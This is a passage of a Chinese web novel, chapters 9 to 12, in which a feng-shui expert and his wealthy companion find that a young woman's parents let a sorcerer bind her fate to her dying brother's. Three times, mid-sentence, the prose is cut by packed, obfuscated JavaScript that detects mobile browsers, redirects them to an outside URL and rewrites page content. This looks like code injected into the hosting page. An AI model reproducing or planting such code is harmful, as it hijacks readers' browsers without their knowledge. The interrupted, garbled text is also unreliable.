陆叙转过头,发现陆修望又在盯着自己看,忍不住问:“你又怎么了?” 陆修望盯着他琥珀色的眼睛晃了晃神,转移了话题,指着他手里抱着的保温杯问:“你这玩意到底是什么?补药吗?感觉你喝了这个精神好了很多。” 陆叙狐疑地打量着他:“这只是普通温补药,治疗长期熬夜导致的脾虚,对你那隐疾没用,别瞎打听啊。” “我他妈没有隐疾!” “没有就没有吧,都说了大家是朋友,等我研究出方法肯定帮你,你急什么?” 陆修望感觉那股莫名的胜负欲又上头了,脱口而出:“我有隐疾?你是不是想来试试看我行不行?” 陆叙瞪大了眼睛,显然没料到这个平日里成天端着的人会口出狂言,陆修望面上不屑,心里却觉得自己像个变态,恨不得找个地缝钻进去。 “……” “……” 这一出搞得两个人都尴尬得不行,好在陆修望的人及时把资料送了过来,拯救他于水火之中。 陆修望把文件袋和照片集递给陆叙,陆叙接过来,走到桌边坐下,开始翻阅。 陆修望站在旁边,也跟着看,文件很详细,记录了那个小区过去二十年的所有重大事件。 “找到了。”陆叙突然说。 陆修望凑过去看,是一篇案情报道,报道里说,小区里一位独居男子在家中猝死,因为那层楼当年只有他一户人家入住,死后多日才被楼下住户发现,发现时正值夏天,尸体已经高度腐败,呈巨人观状,整个房间都是尸水。 陆修望看着那些黑黑红红的照片,心头泛起一阵恶心,陆叙却看得津津有味。 “就是这个。”陆叙指着那具牙齿裸露在外的尸体,“和我那天看到的那玩意一模一样……” 他翻到下一页,看见了详细的地址:“而且出事的楼层就在许瑶楼上。” 陆修望也看见了那个地址,忍不住问:“所以那个鬼是从楼上下来的?” “对。”陆叙点点头,“男子是洗澡时猝死的,尸水混着地面上的水,顺着老旧的瓷砖缝隙渗入水泥,还有一部分随着年久失修的下水管渗入墙壁。” 他想了想,继续说: “那栋楼很老,我之前去许瑶家查看过,屋顶重新做过全屋防水,再往前就不一定了。尸水渗进去之后,又往楼下滴。你想想,许瑶每晚听到的水滴声是从哪里来的?” 陆修望想起陆叙简单提过的事,水滴声是从厨房和卫生间传来的。 “尸水往楼下滴了一段时间,楼下房东不知情,以为楼上不讲卫生,想上楼理论,闻到楼道里传来的恶臭,这才报了警,虽然后来被清理了,但痕迹已经存在。” 陆叙继续翻看后面的资料:“男子当时还有亲人,但他们并没有出面为他处理后事,后续共同处理尸体的物业和社区也没想到给他超度,他的怨气还残留在单元楼里,只是很微弱。” 陆修望皱起眉:“微弱?那它怎么跑许瑶家里去了?而且那晚还那么凶险?” “风铃原本只是动气之物,被置于煞位,气不散反聚,声响是引子,久而久之,阴气被反复牵引,本不该靠近的东西,被这股持续的动静误以为此处有位可依,渐渐向此处聚拢,最开始风铃挂在阳台尖角位,我以为是无心之失。” “昨晚我检查过,摆放风铃的法器封口被动过,位置也是在客厅最突兀且看起来长期不使用的长柜里,这也是一个隐煞位。” 陆叙接着解释:“铜镜本为照煞之器,一般只挂于窗外门外,挂在门内必须讲究位置,那天我看到风铃就猜到了,镜子位置绝对被人动过,乱挂的镜子将已聚的阴气反复回折,形成内困之势,气场在两者之间反复回旋,形成一个会自我强化的负场,久而久之,镜子也不再能镇煞,只能养祸。” 他把文件放在桌上,靠向椅背:“凶宅本就不是许瑶租住的那间屋子,因为有人故意做局,那些脏东西才会聚在她那里。” “我让人去查查房东和楼上的住户?” “这倒不用了,如果没人在房间里设局,根本不会影响在楼下的房间,这件事和他们应该没关系,我只是为了验证一下猜测。” 陆修望追问:“那又是谁想害她?” 陆叙心里其实已经有了点猜测,但现在说出来未免太早。 “一时半会也说不清。”他说,“我得先和许瑶对接沟通一下,问清楚一些事情。” 陆修望知道陆叙做事有分寸,该说的时候自然会说,也没再追问。 “那走吧。”陆修望说,“趁早。” 两人收拾了一下,驱车回到酒店,有两个人陪着,许瑶看起来休息得很好,精神看起来还不错。 “陆先生,”她冲着陆叙打招呼,又转头看向陆修望,“还有……” “我也姓陆。” 许瑶点点头,说:“麻烦你们了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099172|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陆叙看她好奇地打量,解释到:“这位是我大侄子,不用和我们客气。” 陆修望:“……” 陆叙明明看起来很年轻,不做正事的时候也很幼稚,却总是一副长辈做派,陆修望现在是真有点好奇他的年龄了。 陆叙在许瑶对面的椅子上坐下,语气比平时轻松了一些:“别紧张。” “你的屋子没什么问题。”陆叙说,“如果你没有心理阴影,甚至可以住回去了。” 许瑶愣了一下,随即松了口气,但很快又紧张起来:“真的吗?那些东西都走了?” “死了。”陆叙纠正,“房子本身不是凶宅,也没有问题。” 他顿了顿,声音带着犹豫:“是有人想害你。” 许瑶的脸色刷地白了。 “什么意思?” 陆叙把文件袋里的资料拿出来,简单解释了一遍楼上的事,以及风铃和铜镜的位置问题。 “那些东西本来不会找上你,是有人故意布局,把它们引到你身边。”他看着许瑶,“我需要问你几个问题,最近有谁去过你屋里?” 许瑶努力回忆:“除了我父母,就只有水电师傅了。” “水电师傅?” “上星期。”许瑶说,“当时洗衣机外接的水管漏水了,物业找人来修过。” 陆叙点点头,又问:“你父母呢?他们什么时候去的?” “他们来帮我搬过家,前段时间也来看过我一次,我和他们说过这件事,他们怕我害怕,来陪了我两天。” 陆叙和陆修望对视了一眼。 许瑶还在怀疑:“会不会是那个水电师傅?我记得他进来之后,在房间里转了很久,说是要检查水路,当时我还觉得他挺负责的,现在想想……” “破坏风水是一件很复杂的事,要看外局,坐向,定气口看中宫,再起盘,还要仔细观察房间的衰星、动位,租户不一样,位置往往不一样,应事需要时间,他还得等……” 一个只来过一次的水电师傅,做不到这些。 他没有把话说得太明白:“我还需要确认一些事情,你把你的生辰八字告诉我。” 许瑶报了自己的生日和时辰,陆叙掏出手机,在小程序里输入信息,算了一遍。 八字偏阳,和他想的一样,他的视线落在许瑶手腕上戴着的那串珠子上,看起来有些年头了,上面刻着很细微的纹路,仔细一看,是一些佛法。 “这个是?”陆叙指了指那串珠子。 许瑶下意识摸了摸手腕:“这是我哥哥送我的,其实是他从小带大大的护身符。” 陆叙心下一动:“你哥哥?” “对。”许瑶的表情柔和了一些,“我哥身体一直不太好,运势也不顺,从小到大总是出各种状况。我爸妈为了他找了很多算命的,前前后后花了不少钱。” 她声音有些低落:“前段时间我哥又出了点事,我爸妈特别着急,又找了好几个师傅给他看。我给他打电话,想把这个珠子还给他,他怕我担心,说让我戴好,我一个人出门在外,更是要注意平安。” 陆叙的手指在桌面上轻轻敲了两下,这个珠子确实保护着许瑶,看来她哥哥并没有参与其中。 “你哥哥的生辰八字,你知道吗?” 许瑶点点头,说了她哥的生日,陆叙一听就知道不对劲了。 八字全阴,天干阴,地支阴,藏干也是阴。 这种命格的人…… 他抬起头,看向许瑶,眼神变得复杂,这下不是简单的害人了。 许瑶被他看得有些不安:“陆先生,怎么了?” “没什么。”陆叙摇摇头,“你哥哥现在在哪儿?” “在家里。”许瑶说,“他身体不太好,工作也在家附近,方便休养。” 他现在基本已经可以确定,许瑶父母找的那些“算命的”,至少有一个是歪门邪道。 用许瑶的命,去养她哥哥的局。 许瑶的父母不管知不知情,都是在利用她,这种事,他不知道该怎样告诉许瑶。 “你现在不管住哪都不太安全。”陆叙看起来有点烦躁,“害你的人不会停手。” 陆修望突然开口:“你们可以去我家,那些人的手伸不进陆家。” 10. 第 10 章 陆叙又回到了陆家老宅,这才过了两三天,老宅比之前热闹了不少,走廊里佣人来来往往,院子里也有人在打理园艺。之前那种压抑感似乎都消失了,整个地方都透着一股生气。 “你家人回来了?”陆叙问。 “嗯。”陆修望走在前面,“我爷爷的状态好了点,梦魇症状缓解了,其他人也陆续搬了回来。” 他顿了顿:“我爸妈说,想当面和你道谢。” 陆叙心里若有所思,这件事情不对劲,但他只是摆了摆手:“算了算了,我有点害羞,不太习惯这种场面。” 陆修望回头看他,眼里闪过一丝笑意:“害羞?你?” “怎么?”陆叙理直气壮,“我这人就是脸皮薄,见不得大场面。” 陆修望忍住笑,没有拆穿他。 “那就先不见了,”陆修望说,“我过会和他们说。” 两人穿过几个院子,最后停在一处独立的小院前。 “这是?”陆叙看着眼前的建筑。 “你的新房间。”陆修望推开门,“之前那间太小了,我重新安排了一间。” 陆叙走进去,整个人都愣住了。 这哪里是客房,简直是豪华套房,装修风格简约低调,但处处透着精致,落地窗外是一片常青树林,阳光透过竹叶洒进来,整个空间都被染上了一层淡淡的绿意。 “我操。”陆叙忍不住爆了句粗口,“这也太夸张了吧?” 他在房间里转了一圈,越看越愤怒,卧室又大又亮,卫生间都比他客厅还大,二楼还有一个采光通透的大工作间。 比这更难以接受的是,陆修望居然可以天天住这种地方,凭什么这家伙这么好命? 得想个办法恶心一下他。 陆叙思考了一下,转过身,一脸凝重地看向陆修望:“陆修望,你该不会是看上我了,想包养我吧?” 陆修望被他这话噎了一下:“你说什么呢?” “不然呢?”陆叙指着周围,“这才和我相处了几天,对我又搂又抱,客房都给我升舱了,总感觉你有所图谋。” 陆修望沉默了几秒,他现在对陆叙莫名其妙胡言乱语早已习以为常,想了想,既然他喜欢这样,配合他一次也没什么。 往前走了两步,他居高临下地看着坐在床边的陆叙:“那你愿意吗?” “嗯?” “我家庭条件不错,长相也不错。”陆修望语气认真,眼神却带着点玩味,“跟了我,你不亏吧?” 陆叙盯着他看了几秒,本以为这个死装哥会气急败坏,没想到这人居然和自己开起了玩笑。 这种时候更不能丢了场子,陆叙露出一个算计的表情:“可以是可以,但得看看你的诚意。” 陆修望在他旁边坐下,从口袋里随意摸出几张卡扔过去:“随便用。” 他转过头,眼里带着揶揄的笑意,却做出一副大爷的姿态:“只要你跟了我,什么都好说。” 陆叙吓得把卡扔回他怀里了,这小子现在怎么脸皮这么厚,都不会害羞了。 他轻咳一声:“你知道的,我跟着你什么都不图,只图你家的大房子。” 陆修望憋住笑,搂住陆叙的腰:“想住什么样的和我说,我房子多。” 他侧过头,声音几乎贴着陆叙的耳朵:“你这么怕见家长,住外面也可以。” “那我岂不变成你的外室了。”陆叙冷哼一声,整个人往后一倒,陷进柔软的床垫里,双手枕在脑后,一副破罐破摔的样子,“不过仔细想想,如果真被你包养也挺不错的,我是真不想努力了。” 阳光从落地窗洒进来,正好落在他身上,把他整个人都镀上一层金边,陆修望侧身看着他,陆叙就这么懒散地躺在他精心准备的房间里,身心完全放松,细密的睫毛在光线下根根分明,嘴角还带着点笑,一切都合适得刚刚好。 陆修望盯着他看了好一会儿,心里那种奇怪的感觉又出现了。 很熟悉。 非常熟悉。 就好像陆叙曾经也这样待在他身边,待在他伸手就能碰到的地方。 陆修望又想到了那个奇怪的梦,梦里那只白狐是陆叙吗?他对陆叙的熟悉感,会不会来源于所谓的前世今生? “不和你开玩笑了。”陆叙开口打断陆修望的沉思,他又坐了起来,“你住哪儿?过会我找你玩游戏。” “隔壁。”陆修望指了指墙,“就在你旁边。” “哟,这么近?”陆叙眯起眼睛,一脸怀疑地打量着他,“是不是为了方便半夜偷偷爬我床?” “不是说不开玩笑了吗?”陆修望忍不住笑了一声,又反问他:“还是说,你希望我爬?” 他语气轻浮,眼神却温柔带笑,陆叙愣了一瞬。 “如果你需要的话,”陆修望站起来,轻轻捏住他的下巴,“我今晚就可以来。” 陆叙盯着他看了几秒,拍开他的手,眼里全是挑衅:“得了吧,就你这有隐疾的童子身,爬上来能干什么?” 他叹了口气,语气带着虚假的怜悯:“也就只有我这样温柔体贴的不会嫌弃你。” 陆修望看到他眼底一闪而过的狡黠,抓住他的手腕,声音压低,带着点警告:“你再造谣试试呢?” “造谣?”陆叙来了兴趣,“我告诉你,我看人从来不会看错,你别不信。” 陆叙再一次从专业角度审视眼前的人,单看陆修望的面相,眉骨清正,眉形如剑,起势高而不压目,主命途顺遂,眼睛狭长却不阴,黑白分明,眼神明亮而定,鼻梁高直,山根稳固,鼻准丰而不露,根基厚、运路稳,一生少有大起大落。 这是典型的顺命相,名利不缺,一生富贵。 可中庭之后却有些奇怪,印堂以上明净开阔,印堂以下却像被一层气压着,不甚明朗,这并非大凶大破,只是预示着他面临重大的抉择和挑战,而这个抉择会影响他的后半生。 夫妻宫轮廓尚好,却气不聚,不缺桃花,却多虚影,缘分来得快,散得更快,很难落定。 整体阳气极盛,骨相挺拔,火气暗藏,这样的人,本该青欲旺盛,行走人间多贪多求。可偏偏他的五官眼尾不上挑,奸门不丰,肾气线收敛,这样的人想得多,得得少,越克制,内里渴求越盛,越冷淡,越欲壑难填。 所有渴望都在身体里打转,却很少真正落到现实。 这些矛盾迹象陆叙只能想到一种比较合理的解释。 陆叙又是一声叹息:“唉,你不想承认就算了,这种事对于男人确实难以启齿。” 陆修望冷哼一声,露出一个玩味的表情:“挑衅我?我今晚就来爬床,你亲自试试就知道了。” 说完,他转身往外走了。 陆叙打量着他的背影,他算是看明白了,这死小子也是个不服输的,被他占了便宜也一定要找回场子。 好巧,他也一样。 “诶,陆修望。” 陆修望停下脚步,回过头。 陆叙朝他招了招手:“过来。” 陆修望走回去,还没反应过来,陆叙突然伸手揪住他的领子,用力一拉。 陆修望猝不及防,整个人失去平衡往前倒,单手撑在床上才堪堪稳住身形。两人的距离瞬间缩短,鼻尖有一瞬间碰到了一起,陆修望撞进他带着得意的琥珀色双眼,几乎忘了说话。 陆叙凑到他耳边,温热的气息喷洒在他耳廓上,声音很轻:“许瑶的事,谢了——” 他故意拖长声音,尾音上扬:“老公。” 似有电流顺着耳廓蔓延到全身,陆修望在那一瞬间感觉全身血液涌上脑门,心脏在胸腔里剧烈地跳动,喉咙隐约发紧,这种感觉,以前从没有过。 陆修望愣在原地,陆叙却像没事人一样把他推开,然后摆摆手:“去忙吧。” 陆修望强作镇定走出房间,明明只是陆叙的恶作剧,但他却总感觉有什么东西在胸腔里不安分地躁动着,无法平息。 他回到自己房间,思绪却总是不自觉地飘走。 陆叙现在在做什么?是在睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099173|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉,还是在玩游戏?还是在继续研究许瑶的案子? 这些念头不受控制地冒出来,陆修望摇了摇头,强迫自己专注自己的事。 但没过多久,他又开始走神,视线落在墙上,那堵墙的另一边,就是陆叙的房间。 陆修望突然有种冲动,想站起来,走过去,推开那扇门,看看陆叙在做什么。 但理智阻止了他的脚步。 没有正当的理由,也没有合适的借口,就这么离开又突然过去,会显得很奇怪。 时间一分一秒过去,窗外的天色渐渐暗了下来。 陆修望合上书,靠在椅背上,盯着天花板发呆。 他突然想起来,陆叙之前说想玩游戏,这个念头一出现,陆修望立刻站起来,让人准备了一些吃食。站在陆叙的房门口,门没锁,陆修望推开门。 陆叙坐在床上,难得没玩游戏没玩手机,神情凝重,眉头紧紧皱着。 陆修望心里一紧,赶忙走过去:“你怎么了?” 陆叙没有立刻回答,盯着虚空中的某个点看了好一会儿,突然烦躁地把身边的抱枕全扔到了地上。 动作很用力,抱枕砸在地板上发出闷响。陆修望看着他这副样子,明明自己不是什么好脾气的人,却莫名觉得陆叙有点可爱。 “你还笑得出来?”陆叙抬头看他,语气有些不满。 “我没笑。”陆修望收敛表情,在床边坐下,“所以,是出了什么事吗?” 陆叙沉默了很久,才终于开口:“我太掉以轻心,想得太简单了。” “什么?” “许瑶的事。”陆叙声音有些低,“你家的事也一样。” 陆修望一愣:“我家的事?” 陆叙转过头看他:“你还记得我俩去你家老坟时的情况吗?” 陆修望回忆了一下:“你说那里有臭味。” 陆叙说:“如果只是怨鬼,你家之前找的那些灵媒、神婆、道士,都应该能和那个灵体沟通,至少能感知到它的存在。” 他顿了顿:“但我去看你家老坟的时候,感受到一点微弱的气息,非常微弱,就像是有人故意把线索留在那里,让我轻松解决了这件事。” 陆修望思考了一下,也皱起眉:“这太巧了吧?” 陆叙点头:“按理说,那么重的怨气,不应该这么难发现。但偏偏你们家找了那么多人,都没找出问题。” 陆修望沉默了几秒:“那为什么你能发现?” 陆叙说:“也许那个人藏得很深,普通的术士根本发现不了,只有达到某种条件的人,才能看见那些痕迹。” 陆修望问:“什么条件?” “我也不知道啊。”陆叙烦躁地抓了抓头发,“可能是体质,可能是修行,也可能是别的什么关联。但总之,这件事没这么简单,而我也牵扯其中。” 陆叙沉默了一会儿,抬头看向陆修望,神情严肃:“你去告诉你爹,还有你家其他主事的人,这件事绝对不能掉以轻心。” “过去的事还要再查,绝对不是一个怨鬼这么简单。”陆叙说,“现在的事更是毫无头绪,你家所有人都要留心,别着了人家的道。” 陆修望点点头:“我明白了。” 陆叙说:“针对你们的人,一定还有后手,之前我总觉得别人图的是你家的气运,生意,政途,但现在,我觉得人家要的是你全家的命。” 陆修望心里跟着紧张起来,走到阳台给他爹打了一通电话,面色也不太好看。 陆叙在房间里走了几圈,又坐了回去。 “许瑶的事我基本想通了。”陆叙说,“这件事也不是简单的同宗借运。” 他顿了顿,整理了一下思路:“如果那个人不是正道,怎么可能只是帮人借运这么好心,许瑶哥哥的体质是他们梦寐以求的器材。” 陆修望问:“那许瑶呢?” 陆叙说:“那个人的真正目的,不是让许瑶救她哥哥,而是要让兄妹俩合命,一起死,许瑶现在一定不能出差池。” 11. 第 11 章 “一起死?有什么说法吗?” 陆叙解释:“许瑶哥哥是纯阴之体,是器材,也是容器。” “这类人命格不稳,最容易被借、被引牵,也可以用来容纳别的东西……比如另一个人的灵魂。” 陆修望皱起眉:“听起来还挺全能。” “你有病吧?”陆叙笑了一声,“这种体质的人,如果父母无知,不知道保护好孩子的八字信息,那孩子这辈子基本就完了。” “和你这样的截然相反,八字偏阴的人多半运势不好,身体体质也不好。” 他顿了顿:“但是炼人丹、炼小鬼、当替身、承阴之器,这些你可能没听过,搞邪术的人最梦寐以求的就是这种体质,而且不只是活人盯着他们,鬼魂也对这类人虎视眈眈。” 陆修望了然,孩子体弱多病且倒霉,病急乱投医的父母遇到了心怀不轨的“高人”。 陆叙叹了口气:“给许瑶做局的那个人,能聚阴、改命,这不是一般人能办到的,而且正统道家弟子有严苛的戒律,根本不能做这些事。” “他们家找的人,要么是旁门左道,要么是半路出家的野路子。”陆叙说,“但不管哪种,能做到这个程度的,都不简单。” 陆修望看着他,突然问:“那你呢?你不也是非正统弟子吗?” 陆叙愣了一下,没马上回答,想了想,还是告诉了陆修望:“我以前是有师承的。” “只不过现在我师父闭了窍,不再做这些事了。”陆叙语气平淡,听不出什么意味。 “那你算什么弟子?” 陆叙半开玩笑地说:“我算半路断了机缘的那种散修。” 陆修望想追问,最后还是把话咽了回去。 陆叙看他那副想问又不好意思问的样子,倒也没藏着掖着:“这一行干久了你就会发现,鬼其实比人好对付多了。” 他躺回床上:“妖魔鬼怪害人,你能看出端倪,找到源头,多半就能解决。它们的恶意摆在明面上,该夺舍夺舍,该索命索命,反而简单。” “可人不一样。”陆叙的语气随意,“人太难猜了,道行再深,能看清人的命格,猜得到他们的性格,但是猜不透他们做事的目的。” 他顿了顿:“这是我师父说的。” “他是遇到什么事了吗?”陆修望问。 “具体的我不太清楚,他也没细说。”陆叙摇摇头,“前几年他帮人处理完一桩事,回来之后就说不想再牵扯这些因果了,他看不透也不想看透,索性就不看了。” 陆修望沉默了几秒:“那你呢?你就这么断了传承,不觉得可惜?” “可惜什么?”陆叙反而笑了,“机缘这种东西,本来就是命中注定的,有就有,没了就没了,不必强求。” 他说得很坦然:“虽然我师父不做了,但我还可以再去找别的师承,甚至去当个正统道家弟子,但没必要,能做这一行的时候就做,做不了了就去干别的,非要强求才能得到的东西就算不上缘了。” 陆修望看着他那副无所谓的样子,突然觉得这人虽然看起来吊儿郎当,但对很多事倒是看得挺透彻:“我只是觉得有点可惜,你看起来很有天赋,就这么半途而废了。而且你师父这样做,也是对你的不负责。” “停停停,你想什么呢?我和我师父关系好得很,少在这挑拨离间。” “况且这一行本来就不是什么正经营生。”陆叙耸耸肩,“你以为能通阴阳、知生死,看起来很牛逼,实际上就是夹在两界中间干脏活的,人觉得你装神弄鬼,鬼觉得你坏鬼好事,两边都不讨好。” “干久了对自身气场也有影响,所以我现在有一单接一单,没单就歇着,赚点钱花花就行了,太复杂的不做,太危险的也不做。”他转头瞥了陆修望一眼,“你家这破事除外。” 陆修望问他:“所以你当时为什么会帮我?” 总不能说是没钱抽卡吧,陆叙略一思索,随意编了个理由:“大家都姓陆,几千年前是一家人,说不定以前还有过交集,都是缘分。” 这话一听就是借口,但陆修望却若有所思,他注视着陆叙的侧脸,线条精致,一颗小痣灵动又可爱,仿佛和梦里那只白狐重叠。 陆修望问:“你这么说,是因为你相信前世今生吗?” 陆叙挑眉:“前世因后世果,此事在民间物理学中亦有记载。” 陆修望还想追问,话还没问出口,就被急促的敲门声打断。 陆修望皱着眉打开门,门外站着许瑶,满脸泪水,整个人看起来摇摇欲坠。 许瑶看向陆叙,声音哽咽:“我都想明白了,是我爸妈,是他们要害我……” 陆叙刚要开口,许瑶打断他:“我哥刚刚车祸去世了。” 她这话说的很突然,陆叙还没反应过来,许瑶接着说:“我爸妈现在也没有再害我的理由了,我要回去送我哥哥一程,这段时间打扰了,费用过后和你结清。” 陆叙和陆修望对视了一眼,两人眼中都闪过一丝惊愕。 陆叙深吸一口气,尽量让自己的声音听起来平稳:“许瑶,你不能自己回去,这件事不是你想的那么简单。” “有什么不简单的?”许瑶情绪很激动,“我哥哥死了!我现在只想回去见他最后一面!” “你冷静点——” “别说了!”许瑶往后退了一步,“谢谢你帮我……” 看她那副听不进人话的样子,陆修望突然拉下脸,声音里带着火气:“别给我在这哭!” 许瑶被他的语气吓了一跳,愣在原地。 陆修望盯着她,眉眼阴沉,一字一句地说:“你知不知道,那天为了处理你那间凶宅,陆叙虚弱到路都走不了,但他一直在思考你那破事的解决办法。他说你还是个小姑娘,答应你的事肯定要尽力而为,而你呢,意气用事,不把别人的告诫当回事。” 陆修望指着门外:“你可以不听他的,但你现在就他妈的把费用结了,然后滚。你一意孤行死了就死了,死后别再来牵扯他。” 许瑶僵在那里,眼泪还在流,但她的情绪明显被这句话震住了。 陆叙看了陆修望一眼,这小子在关键时刻还挺能镇住场子,他走到许瑶面前,语气也不太好:“许瑶,这人的目的,不仅是要你哥死,同时也要你死,回不回,你自己考虑清楚。” “你哥的魂魄估计已经被他拘住,你现在和他同命相连,你回去,就等着和他一起被炼化吧。”陆叙的眼神认真,“如果你想你哥入土为安,就静下来听我把这件事说清楚,然后大家一起想办法。” 许瑶茫然失措,低声说了句“对不起”。 陆叙让她进来坐下,问她:“你是怎么知道你哥出事的?” 许瑶眼泪还在无知觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099174|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地滑落,显然和哥哥关系很好:“刚刚吃完饭我躺床上,心神不宁,想了很多,然后我想明白了你的言外之意,在我家里动过手脚的,根本不是水电师傅,是我父母。” “我刚想打电话质问他们,我妈就打来了电话,她说我哥刚才过马路的时候神情恍惚,被车撞了,当场就……” 她再也说不下去了,捂着脸哭出声来。 “先别哭了。”陆叙坐回椅子上看着许瑶:“你刚才说,你哥哥出事的时候神情恍惚,那你呢?你当时有没有什么感应。” 许瑶想了想:“我……好像没什么特殊的,我当时知道真相,心里像被拉了一把,特别难受,就一直在哭……” 许瑶情绪崩溃,她哥哥神情恍惚,这不是巧合,这就是牵命合厄。 陆修望低声问:“这是不是意味着那个人的计划被意外打乱了……” “原本的局破了,”陆叙接过话,“但也意味着许瑶现在更危险了。” 他看向许瑶:“你哥虽然死了,但那个人的目的还没达成,你现在回去就等于白送一个人头,但如果你不回去,没人去处理这件事,你哥的魂魄也会被他用于其他,不得往生。” 陆修望问:“那现在怎么办?如果拖延不回去,会不会打草惊蛇?” 陆叙也烦躁地抓了一把头发:“要不先把许瑶身上的厌胜和牵连处理了?” “厌胜……牵连?” 陆叙冷笑一声:“厌胜,是用你的头发指甲之类的,带着你气息的东西,加上贴身衣物,对你施加咒术,这东西一旦做成,你就相当于在他那边有了个标记。” 他顿了顿:“有了这个标记,他就能通过你的贴身物件做系命介质,把你和你哥哥绑在一起。” “他给你父母说的应该很体面,估计还能拿出什么禳灾解厄转运科的法本,听起来是在帮你哥哥。”陆叙的语气很冷,“但实际上,他施的是应该是牵命合厄。” 陆修望皱起眉:“这是什么?” “表面看是借运,许瑶越来越虚、越来越倒霉,她哥可能会突然顺起来,像是把她的福气挪过去了,他父母也不会产生怀疑。”陆叙解释,“但这不是单方面的借,而是把两个人的命格绑在一起,一个人出事,另一个人必然受牵连。” 他停了停,看向许瑶:“你们兄妹俩的因果报应也合到一起了,你哥是纯阴,本身就容易招祸,你原本八字硬,最开始能扛得住,但他又在你家里动了手脚,那些招来的脏东西还会让你越来越虚,最后就得跟着你哥一起倒霉。” 许瑶的世界观显然受到了巨大冲击:“那……那他为什么要这么做?” 陆叙给她解释了一下她哥的命格,又补充说:“他不满足于一个纯阴之魄,他还想要你这个血脉相连的魂魄,等时机成熟,你们兄妹俩会一起出事,他会趁你们最弱的时候收魂封魄,炼成他能驱使的东西,这一步就是摄魂归箓。” “民间叫法很多,双摄契、并役、载魄,本质都一样。你哥就是现成的,被你父母送上门的耗材,后面又了解到他还有妹妹,同源好牵,更是意外之喜。知道锁长啥样吗?等你死了,你和你哥相当于锁舌和锁芯,可以合并在一起,相辅相成,为他所用。 房间里一片寂静,陆叙指了指面前的两人,无奈叹了口气:“我也是倒霉,大半年没开张,一开张就碰到你们这俩烦人玩意。” 12. 第 12 章 陆修望冷哼一声,不屑地扫了许瑶一眼:“别把我和她混为一谈,我可没这么不识好歹。” 陆叙无语地轻咳一声,这个人显然忘记了自己当初态度多么恶劣,陆修望注意到他的视线,心虚地移开目光。 许瑶倒是愣了愣,视线在陆叙和陆修望之间来回打量,疑惑开口:“陆先生,这位陆……不是你大侄子吗?” 陆叙面不改色:“之前骗你的,他是我老公。” 空气凝固了两秒。 陆修望不屑的表情瞬间僵在脸上,许瑶张着嘴说不出话,两人都沉默了,但房间里那股压抑的气氛倒是轻松了不少。 “不和你们开玩笑了。”陆叙清了清嗓子,敲了敲许瑶面前的桌子,直接切入正题:“我考虑好了,先给你解厌胜,解完之后你身体会虚弱几天,这就是个暂时不回去办你哥哥后事的借口。” 许瑶回过神来,仍有顾虑:“我怕我父母追问……那边会不会觉察到我们的意图。” “只要解咒他肯定会知道,这没什么大不了的,”陆叙打断她:“你父母那里,你就说你病得很重,再加上受刺激太大,医生不让你出院,等解完厌胜,确保安全了再回去,稳妥。” 陆修望接过话头:“怎么解?” “相当于做一场法事,但我得斋戒三天。”陆叙说着拿出手机,“我联系老郑,让他简单置个坛就行,材料和步骤都不复杂,但许瑶得吃点苦。” 陆修望想了想:“可以在陆家弄,地方够大,什么都好安排。” “不行。”陆叙头也不抬地拒绝,“你和许瑶非亲非故,我可不能再影响你家风水。” 陆修望皱起眉:“那我又能帮你什么?” 陆叙抬眼看他,脸上露出一个欣慰的笑:“你继续充当护身符,在指定位置别动就行。对了,如果必要的话,帮许瑶伪造一份病历。” 陆修望还想说话,陆叙已经起身,顺势拍了拍他的肩膀:“好小子。” 三天后,车子停在老郑家门口时,已经是晚上十点多。陆叙抬头看了一眼天色,月亮被厚重的云层遮住,连星星都看不见几颗。 “这星象不太好。”老郑迎出来,递给陆叙一杯热茶,“要不改日?” 陆叙接过茶杯,捧在手里暖着:“事关紧急,再拖可能会坏事。” 老郑点点头,也没多劝,侧身让开路:“东西我都准备好了,就在后院。” 许瑶这两天几乎没怎么睡过好觉,一半是心烦,一半是被陆叙的夸大其词吓的,整个人瘦了一圈,脸色苍白得像纸,眼眶下一片青黑。她紧紧抓着陆叙的袖子,手指因为用力过度而微微发颤。 “陆先生……”她看向陆叙,声音很轻,“解了厌胜,我哥他……就能得到解脱吗?” 陆叙没有立刻回答,他盯着许瑶看了几秒,眉头皱得很紧。 许瑶的命宫笼着一层若有若无的黑气,那是厌胜之术被破的痕迹,让陆叙在意的是,那层黑气并不安分,它像活物一样在许瑶眉心处缓慢游走,时不时往她泥丸宫的方向渗。 这说明那个借运的局还没彻底断开,还在被人维系着,等一个契机。 “你哥虽然被拘着,但魂魄未散。”陆叙收回视线,“命数还有一丝残留,只要那一丝还在,就有机会,解牵连只是第一步。” 